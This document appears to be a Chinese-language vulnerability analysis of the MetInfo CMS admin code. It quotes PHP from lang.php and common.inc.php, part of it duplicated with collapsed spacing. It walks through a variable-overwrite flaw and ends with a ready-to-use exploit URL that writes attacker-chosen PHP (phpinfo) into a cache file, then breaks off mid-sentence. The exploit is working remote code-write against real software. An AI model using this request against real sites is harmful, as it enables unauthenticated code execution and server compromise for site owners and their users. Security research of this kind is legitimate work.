metinfo整体做的还算不错，但是一个小疏忽，越权导致大漏洞代码如下：admin/include/common.inc.php 由于之前在最外围进行了一次参数解析，所以这里可以通过全量覆盖过来先不说这里，一会儿用得上，我们看一下admin/include/lang.php:

if($_GET[langset]!="" and $met_admin_type_ok==1){

$languser = $_GET[langset];

}

$langset=($languser!="")?$languser:$met_admin_type;if(!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')){

$js="var user_msg = new Array();\n";

$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";

$result= $db->query($query);if($db->affected_rows()==0){

require_once ROOTPATH_ADMIN.'system/lang/lang.func.php';

$post=array('newlangmark'=>$langset,'metcms_v'=>$metcms_v,'newlangtype'=>'admin');

$file_basicname=ROOTPATH_ADMIN.'update/lang/lang_'.$langset.'.ini';

$re=syn_lang($post,$file_basicname,$langset,1,0);

$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";

$result= $db->query($query);

}

while($listlang= $db->fetch_array($result)){

if(substr($listlang['name'],0,2)=='js'){

$tmp=trim($listlang['value']);

$js=$js."user_msg['{$listlang['name']}']='$tmp';\n";

}

$name = 'lang_'.$listlang['name'];

$$name= trim($listlang['value']);

$str.='$'."{$name}='".str_replace(array('\\',"'"),array("\\\\","\\'"),trim($listlang['value']))."';";

}

//echo $str;

$js1='$'."js='".str_replace("'","\\'",$js).'\';';

$str="<?php \n".$str.$js1."\n?>";

file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);

}else{

require_once ROOTPATH.'cache/langadmin_'.$langset.'.php';

}

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30if($_GET[langset]!=""and$met_admin_type_ok==1){

$languser=$_GET[langset];

}

$langset=($languser!="")?$languser:$met_admin_type;if(!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')){

$js="var user_msg = new Array();\n";

$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";

$result=$db->query($query);if($db->affected_rows()==0){

require_onceROOTPATH_ADMIN.'system/lang/lang.func.php';

$post=array('newlangmark'=>$langset,'metcms_v'=>$metcms_v,'newlangtype'=>'admin');

$file_basicname=ROOTPATH_ADMIN.'update/lang/lang_'.$langset.'.ini';

$re=syn_lang($post,$file_basicname,$langset,1,0);

$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";

$result=$db->query($query);

}

while($listlang=$db->fetch_array($result)){

if(substr($listlang['name'],0,2)=='js'){

$tmp=trim($listlang['value']);

$js=$js."user_msg['{$listlang['name']}']='$tmp';\n";

}

$name='lang_'.$listlang['name'];

$$name=trim($listlang['value']);

$str.='$'."{$name}='".str_replace(array('\\',"'"),array("\\\\","\\'"),trim($listlang['value']))."';";

}

//echo $str;

$js1='$'."js='".str_replace("'","\\'",$js).'\';';

$str="<?php \n".$str.$js1."\n?>";

file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);

}else{

require_onceROOTPATH.'cache/langadmin_'.$langset.'.php';

}

第一步：if($_GET[langset]!="" and $met_admin_type_ok==1){$languser = $_GET[langset];}这里我们全量覆盖met_admin_type_ok=1 就可以直接赋值无过滤赋值$languser怎么能让这一句成立!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')第一我们得定义ROOTPATH第二我们知道，php一个全版本的小bugfile_put_contents("d:/a.php/../a.php")这种是不会报错的但是对于langset 他有限制条件，我们怎么逾越这个条件此时猜想，若果有一个地方也越权，并且include了lang.phpcommon.inc.php:

if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');

if($_GET[langset]!=''){

$_GET[langset]=daddslashes($_GET[langset],0,1);

change_met_cookie('languser',$_GET[langset]);

save_met_cookie();

}

$_M['user']['cookie'] = $met_cookie;

$metinfo_admin_name = get_met_cookie('metinfo_admin_name');

$metinfo_admin_pass = get_met_cookie('metinfo_admin_pass');

$metinfo_admin_pop = get_met_cookie('metinfo_admin_pop');

$metinfo_admin_shortcut = get_met_cookie('metinfo_admin_shortcut');

$languser = get_met_cookie('languser');

$langadminok = get_met_cookie('metinfo_admin_lang');

$langusenow=$languser;

if($langadminok<>"" and $langadminok<>'metinfo')$adminlang=explode('-',$langadminok);

require_once ROOTPATH_ADMIN.'include/lang.php';

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16if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');

if($_GET[langset]!=''){

$_GET[langset]=daddslashes($_GET[langset],0,1);

change_met_cookie('languser',$_GET[langset]);

save_met_cookie();

}

$_M['user']['cookie']=$met_cookie;

$metinfo_admin_name=get_met_cookie('metinfo_admin_name');

$metinfo_admin_pass=get_met_cookie('metinfo_admin_pass');

$metinfo_admin_pop=get_met_cookie('metinfo_admin_pop');

$metinfo_admin_shortcut=get_met_cookie('metinfo_admin_shortcut');

$languser=get_met_cookie('languser');

$langadminok=get_met_cookie('metinfo_admin_lang');

$langusenow=$languser;

if($langadminok<>""and$langadminok<>'metinfo')$adminlang=explode('-',$langadminok);

require_onceROOTPATH_ADMIN.'include/lang.php';

发现了在此处引入，下来我们看if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');如果met_langadmin参与运算的结果是个数组，这时候langset 就完全可控制后面走到了lang.php:1.!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php') 此处要是个空文件2.$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";$result= $db->query($query);这个查询为空，langset经过构造后 这个肯定是个空3.$js1='$'."js='".str_replace("'","\\'",$js).'\';';$str="<?php \n".$str.$js1."\n?>";file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);发现$str 就可以没有任何给它初始化，直接全局覆盖过来即可发送url:http://localhost/metinfo/admin/include/common.inc.php?met_admin_type_ok=1&langset=123&met_langadmin[123][]=12345&str=phpinfo%28%29%3B%3F%3E%2f%2f直接就会在cache目录下创建一个文件langadmin_123.php内容为：<?phpphpinfo ();?>//$js='var user_msg = new Array();';?>访问以下